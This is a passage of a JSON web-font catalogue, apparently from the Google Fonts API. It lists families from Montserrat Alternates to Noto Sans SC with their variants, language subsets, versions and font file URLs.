"http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZSgnD-_xxrCq7qg.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat Alternates", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU0xiKfVKphL03l4.ttf", "100italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTjWacfw6zH4dthXcyms1lPpC8I_b0juU057p-xIJxp1ml4imo.ttf", "200": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xJIb1ALZH2mBhkw.ttf", "200italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8dAbxD-GVxk3Nd.ttf", "300": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xQIX1ALZH2mBhkw.ttf", "300italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p95ArxD-GVxk3Nd.ttf", "regular": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTvWacfw6zH4dthXcyms1lPpC8I_b0juU0J7K3RCJ1b0w.ttf", "italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFThWacfw6zH4dthXcyms1lPpC8I_b0juU057qfVKphL03l4.ttf", "500": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xGIT1ALZH2mBhkw.ttf", "500italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8hA7xD-GVxk3Nd.ttf", "600": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xNIP1ALZH2mBhkw.ttf", "600italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p8NBLxD-GVxk3Nd.ttf", "700": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xUIL1ALZH2mBhkw.ttf", "700italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9pBbxD-GVxk3Nd.ttf", "800": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xTIH1ALZH2mBhkw.ttf", "800italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p91BrxD-GVxk3Nd.ttf", "900": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTiWacfw6zH4dthXcyms1lPpC8I_b0juU0xaID1ALZH2mBhkw.ttf", "900italic": "http://fonts.gstatic.com/s/montserratalternates/v11/mFTkWacfw6zH4dthXcyms1lPpC8I_b0juU057p9RB7xD-GVxk3Nd.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat Subrayada", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MD6c-o9H7PgjlTHThBnNHGVUORwteQQE8LYuceqGT-.ttf", "700": "http://fonts.gstatic.com/s/montserratsubrayada/v9/U9MM6c-o9H7PgjlTHThBnNHGVUORwteQQHe3TcMWg3j36Ebz.ttf" } }, { "kind": "webfonts#webfont", "family": "Moul", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/moul/v11/nuF2D__FSo_3E-RYiJCy-00.ttf" } }, { "kind": "webfonts#webfont", "family": "Moulpali", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/moulpali/v12/H4ckBXKMl9HagUWymyY6wr-wg763.ttf" } }, { "kind": "webfonts#webfont", "family": "Mountains of Christmas", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9w6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7ePNamMPNpJpc.ttf", "700": "http://fonts.gstatic.com/s/mountainsofchristmas/v12/3y9z6a4zcCnn5X0FDyrKi2ZRUBIy8uxoUo7eBGqJFPtCOp6IaEA.ttf" } }, { "kind": "webfonts#webfont", "family": "Mouse Memoirs", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mousememoirs/v7/t5tmIRoSNJ-PH0WNNgDYxdSb7TnFrpOHYh4.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr Bedfort", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrbedfort/v8/MQpR-WCtNZSWAdTMwBicliq0XZe_Iy8.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr Dafoe", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrdafoe/v8/lJwE-pIzkS5NXuMMrGiqg7MCxz_C.ttf" } }, { "kind": "webfonts#webfont", "family": "Mr De Haviland", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrdehaviland/v8/OpNVnooIhJj96FdB73296ksbOj3C4ULVNTlB.ttf" } }, { "kind": "webfonts#webfont", "family": "Mrs Saint Delafield", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrssaintdelafield/v7/v6-IGZDIOVXH9xtmTZfRagunqBw5WC62cK4tLsubB2w.ttf" } }, { "kind": "webfonts#webfont", "family": "Mrs Sheppards", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mrssheppards/v8/PN_2Rfm9snC0XUGoEZhb91ig3vjxynMix4Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEOjFma-2HW7ZB_.ttf", "300": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFqj1ma-2HW7ZB_.ttf", "regular": "http://fonts.gstatic.com/s/mukta/v7/iJWKBXyXfDDVXYnGp32S0H3f.ttf", "500": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEyjlma-2HW7ZB_.ttf", "600": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbEeiVma-2HW7ZB_.ttf", "700": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbF6iFma-2HW7ZB_.ttf", "800": "http://fonts.gstatic.com/s/mukta/v7/iJWHBXyXfDDVXbFmi1ma-2HW7ZB_.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Mahee", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "gurmukhi", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MFcBoHJndqZCsW.ttf", "300": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NhcxoHJndqZCsW.ttf", "regular": "http://fonts.gstatic.com/s/muktamahee/v5/XRXQ3IOIi0hcP8iVU67hA-vNWz4PDWtj.ttf", "500": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9M5choHJndqZCsW.ttf", "600": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9MVdRoHJndqZCsW.ttf", "700": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NxdBoHJndqZCsW.ttf", "800": "http://fonts.gstatic.com/s/muktamahee/v5/XRXN3IOIi0hcP8iVU67hA9NtdxoHJndqZCsW.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Malar", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "latin-ext", "tamil", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMwBtAB62ruoAZW.ttf", "300": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINUBdAB62ruoAZW.ttf", "regular": "http://fonts.gstatic.com/s/muktamalar/v6/MCoXzAXyz8LOE2FpJMxZqLv4LfQJwHbn.ttf", "500": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMMBNAB62ruoAZW.ttf", "600": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqIMgA9AB62ruoAZW.ttf", "700": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINEAtAB62ruoAZW.ttf", "800": "http://fonts.gstatic.com/s/muktamalar/v6/MCoKzAXyz8LOE2FpJMxZqINYAdAB62ruoAZW.ttf" } }, { "kind": "webfonts#webfont", "family": "Mukta Vaani", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXNV8BD-u97MW1a.ttf", "300": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWpVMBD-u97MW1a.ttf", "regular": "http://fonts.gstatic.com/s/muktavaani/v7/3Jn5SD_-ynaxmxnEfVHPIF0FfORL0fNy.ttf", "500": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXxVcBD-u97MW1a.ttf", "600": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGXdUsBD-u97MW1a.ttf", "700": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGW5U8BD-u97MW1a.ttf", "800": "http://fonts.gstatic.com/s/muktavaani/v7/3JnkSD_-ynaxmxnEfVHPIGWlUMBD-u97MW1a.ttf" } }, { "kind": "webfonts#webfont", "family": "Muli", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800", "900", "200italic", "300italic", "italic", "500italic", "600italic", "700italic", "800italic", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v20", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOkHkw2-m9x2iC.ttf", "300": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFmQkHkw2-m9x2iC.ttf", "regular": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFnOkHkw2-m9x2iC.ttf", "500": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFn8kHkw2-m9x2iC.ttf", "600": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkQl3kw2-m9x2iC.ttf", "700": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFkpl3kw2-m9x2iC.ttf", "800": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlOl3kw2-m9x2iC.ttf", "900": "http://fonts.gstatic.com/s/muli/v20/7Aulp_0qiz-aVz7u3PJLcUMYOFlnl3kw2-m9x2iC.ttf", "200italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xFz0e2fwniCvzM.ttf", "300italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG089z0e2fwniCvzM.ttf", "italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG05Fz0e2fwniCvzM.ttf", "500italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG06Nz0e2fwniCvzM.ttf", "600italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG00900e2fwniCvzM.ttf", "700italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG03Z00e2fwniCvzM.ttf", "800italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0xF00e2fwniCvzM.ttf", "900italic": "http://fonts.gstatic.com/s/muli/v20/7Aujp_0qiz-afTfcIyoiGtm2P0wG0zh00e2fwniCvzM.ttf" } }, { "kind": "webfonts#webfont", "family": "Mystery Quest", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mysteryquest/v7/-nF6OG414u0E6k0wynSGlujRHwElD_9Qz9E.ttf" } }, { "kind": "webfonts#webfont", "family": "NTR", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ntr/v7/RLpzK5Xy0ZjiGGhs5TA4bg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Brush Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v17", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nanumbrushscript/v17/wXK2E2wfpokopxzthSqPbcR5_gVaxazyjqBr1lO97Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Gothic", "category": "sans-serif", "variants": [ "regular", "700", "800" ], "subsets": [ "korean", "latin" ], "version": "v17", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_3Rfi-oW3hYwmKDpxS7F_z_tLfxno73g.ttf", "700": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LQv37zlEn14YEUQ.ttf", "800": "http://fonts.gstatic.com/s/nanumgothic/v17/PN_oRfi-oW3hYwmKDpxS7F_LXv77zlEn14YEUQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Gothic Coding", "category": "monospace", "variants": [ "regular", "700" ], "subsets": [ "korean", "latin" ], "version": "v14", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIVdjzHisX_8vv59_xMxtPFW4IXROwsy6QxVs1X7tc.ttf", "700": "http://fonts.gstatic.com/s/nanumgothiccoding/v14/8QIYdjzHisX_8vv59_xMxtPFW4IXROws8xgecsV88t5V9r4.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Myeongjo", "category": "serif", "variants": [ "regular", "700", "800" ], "subsets": [ "korean", "latin" ], "version": "v15", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Btx3DZF0dXLMZlywRbVRNhxy1LreHQ8juyl.ttf", "700": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pXV1A0pfCs5Kos.ttf", "800": "http://fonts.gstatic.com/s/nanummyeongjo/v15/9Bty3DZF0dXLMZlywRbVRNhxy2pLVFA0pfCs5Kos.ttf" } }, { "kind": "webfonts#webfont", "family": "Nanum Pen Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nanumpenscript/v15/daaDSSYiLGqEal3MvdA_FOL_3FkN2z7-aMFCcTU.ttf" } }, { "kind": "webfonts#webfont", "family": "Neucha", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/neucha/v11/q5uGsou0JOdh94bvugNsCxVEgA.ttf" } }, { "kind": "webfonts#webfont", "family": "Neuton", "category": "serif", "variants": [ "200", "300", "regular", "italic", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKAKkfegD5Drog6Q.ttf", "300": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKZKofegD5Drog6Q.ttf", "regular": "http://fonts.gstatic.com/s/neuton/v12/UMBTrPtMoH62xUZyyII7civlBw.ttf", "italic": "http://fonts.gstatic.com/s/neuton/v12/UMBRrPtMoH62xUZCyog_UC71B6M5.ttf", "700": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKdK0fegD5Drog6Q.ttf", "800": "http://fonts.gstatic.com/s/neuton/v12/UMBQrPtMoH62xUZKaK4fegD5Drog6Q.ttf" } }, { "kind": "webfonts#webfont", "family": "New Rocker", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/newrocker/v8/MwQzbhjp3-HImzcCU_cJkGMViblPtXs.ttf" } }, { "kind": "webfonts#webfont", "family": "News Cycle", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v16", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/newscycle/v16/CSR64z1Qlv-GDxkbKVQ_TOcATNt_pOU.ttf", "700": "http://fonts.gstatic.com/s/newscycle/v16/CSR54z1Qlv-GDxkbKVQ_dFsvaNNUuOwkC2s.ttf" } }, { "kind": "webfonts#webfont", "family": "Niconne", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/niconne/v9/w8gaH2QvRug1_rTfrQut2F4OuOo.ttf" } }, { "kind": "webfonts#webfont", "family": "Niramit", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVXx7tiiEr5_BdZ8.ttf", "200italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiXimOq73EZZ_f6w.ttf", "300": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVRh4tiiEr5_BdZ8.ttf", "300italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiOiqOq73EZZ_f6w.ttf", "regular": "http://fonts.gstatic.com/s/niramit/v4/I_uuMpWdvgLdNxVLbbRQkiCvs5Y.ttf", "italic": "http://fonts.gstatic.com/s/niramit/v4/I_usMpWdvgLdNxVLXbZalgKqo5bYbA.ttf", "500": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVUB5tiiEr5_BdZ8.ttf", "500italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiYiuOq73EZZ_f6w.ttf", "600": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVWx-tiiEr5_BdZ8.ttf", "600italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiTiyOq73EZZ_f6w.ttf", "700": "http://fonts.gstatic.com/s/niramit/v4/I_urMpWdvgLdNxVLVQh_tiiEr5_BdZ8.ttf", "700italic": "http://fonts.gstatic.com/s/niramit/v4/I_upMpWdvgLdNxVLXbZiKi2Oq73EZZ_f6w.ttf" } }, { "kind": "webfonts#webfont", "family": "Nixie One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nixieone/v10/lW-8wjkKLXjg5y2o2uUoUOFzpS-yLw.ttf" } }, { "kind": "webfonts#webfont", "family": "Nobile", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nobile/v11/m8JTjflSeaOVl1i2XqfXeLVdbw.ttf", "italic": "http://fonts.gstatic.com/s/nobile/v11/m8JRjflSeaOVl1iGXK3TWrBNb3OD.ttf", "500": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iOqo7zcJ5BZmqa3A.ttf", "500italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJUnc5RFRG-K3Mud.ttf", "700": "http://fonts.gstatic.com/s/nobile/v11/m8JQjflSeaOVl1iO4ojzcJ5BZmqa3A.ttf", "700italic": "http://fonts.gstatic.com/s/nobile/v11/m8JWjflSeaOVl1iGXJVvdZRFRG-K3Mud.ttf" } }, { "kind": "webfonts#webfont", "family": "Nokora", "category": "serif", "variants": [ "regular", "700" ], "subsets": [ "khmer" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nokora/v13/hYkIPuwgTubzaWxQOzoPovZg8Q.ttf", "700": "http://fonts.gstatic.com/s/nokora/v13/hYkLPuwgTubzaWxohxUrqt18-B9Uuw.ttf" } }, { "kind": "webfonts#webfont", "family": "Norican", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/norican/v8/MwQ2bhXp1eSBqjkPGJJRtGs-lbA.ttf" } }, { "kind": "webfonts#webfont", "family": "Nosifer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nosifer/v8/ZGjXol5JTp0g5bxZaC1RVDNdGDs.ttf" } }, { "kind": "webfonts#webfont", "family": "Notable", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/notable/v4/gNMEW3N_SIqx-WX9-HMoFIez5MI.ttf" } }, { "kind": "webfonts#webfont", "family": "Nothing You Could Do", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/nothingyoucoulddo/v9/oY1B8fbBpaP5OX3DtrRYf_Q2BPB1SnfZb0OJl1ol2Ymo.ttf" } }, { "kind": "webfonts#webfont", "family": "Noticia Text", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/noticiatext/v9/VuJ2dNDF2Yv9qppOePKYRP1GYTFZt0rNpQ.ttf", "italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJodNDF2Yv9qppOePKYRP12YztdlU_dpSjt.ttf", "700": "http://fonts.gstatic.com/s/noticiatext/v9/VuJpdNDF2Yv9qppOePKYRP1-3R59v2HRrDH0eA.ttf", "700italic": "http://fonts.gstatic.com/s/noticiatext/v9/VuJrdNDF2Yv9qppOePKYRP12YwPhumvVjjTkeMnz.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "devanagari", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/notosans/v9/o-0IIpQlx3QUlC5A4PNb4j5Ba_2c7A.ttf", "italic": "http://fonts.gstatic.com/s/notosans/v9/o-0OIpQlx3QUlC5A4PNr4DRFSfiM7HBj.ttf", "700": "http://fonts.gstatic.com/s/notosans/v9/o-0NIpQlx3QUlC5A4PNjXhFlY9aA5Wl6PQ.ttf", "700italic": "http://fonts.gstatic.com/s/notosans/v9/o-0TIpQlx3QUlC5A4PNr4Az5ZtyEx2xqPaif.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans HK", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-hongkong", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/notosanshk/v5/nKKO-GM_FYFRJvXzVXaAPe9ZUHp1MOv2ObB7.otf", "300": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZmFhTHMX6MKliqQ.otf", "regular": "http://fonts.gstatic.com/s/notosanshk/v5/nKKQ-GM_FYFRJvXzVXaAPe9hMnB3Eu7mOQ.otf", "500": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZwFlTHMX6MKliqQ.otf", "700": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZiF9THMX6MKliqQ.otf", "900": "http://fonts.gstatic.com/s/notosanshk/v5/nKKP-GM_FYFRJvXzVXaAPe9ZsF1THMX6MKliqQ.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans JP", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "japanese", "latin" ], "version": "v25", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosansjp/v25/-F6ofjtqLzI2JPCgQBnw7HFQoggM-FNthvIU.otf", "300": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQaioq1H1hj-sNFQ.otf", "regular": "http://fonts.gstatic.com/s/notosansjp/v25/-F62fjtqLzI2JPCgQBnw7HFowAIO2lZ9hg.otf", "500": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQMisq1H1hj-sNFQ.otf", "700": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQei0q1H1hj-sNFQ.otf", "900": "http://fonts.gstatic.com/s/notosansjp/v25/-F6pfjtqLzI2JPCgQBnw7HFQQi8q1H1hj-sNFQ.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans KR", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "korean", "latin" ], "version": "v12", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/notosanskr/v12/Pby6FmXiEBPT4ITbgNA5CgmOsn7uwpYcuH8y.otf", "300": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOelzI7rgQsWYrzw.otf", "regular": "http://fonts.gstatic.com/s/notosanskr/v12/PbykFmXiEBPT4ITbgNA5Cgm20HTs4JMMuA.otf", "500": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOIl3I7rgQsWYrzw.otf", "700": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOalvI7rgQsWYrzw.otf", "900": "http://fonts.gstatic.com/s/notosanskr/v12/Pby7FmXiEBPT4ITbgNA5CgmOUlnI7rgQsWYrzw.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans SC", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v11", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosanssc/v11/k3kJo84MPvpLmixcA63oeALZTYKL2wv287Sb.otf", "300": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZhaCt9yX6-q2CGg.otf", "regular": "http://fonts.gstatic.com/s/notosanssc/v11/k3kXo84MPvpLmixcA63oeALhL4iJ-Q7m8w.otf", "500": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZ3aGt9yX6-q2CGg.otf", "700": "http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZlaet9yX6-q2CGg.otf", "900": 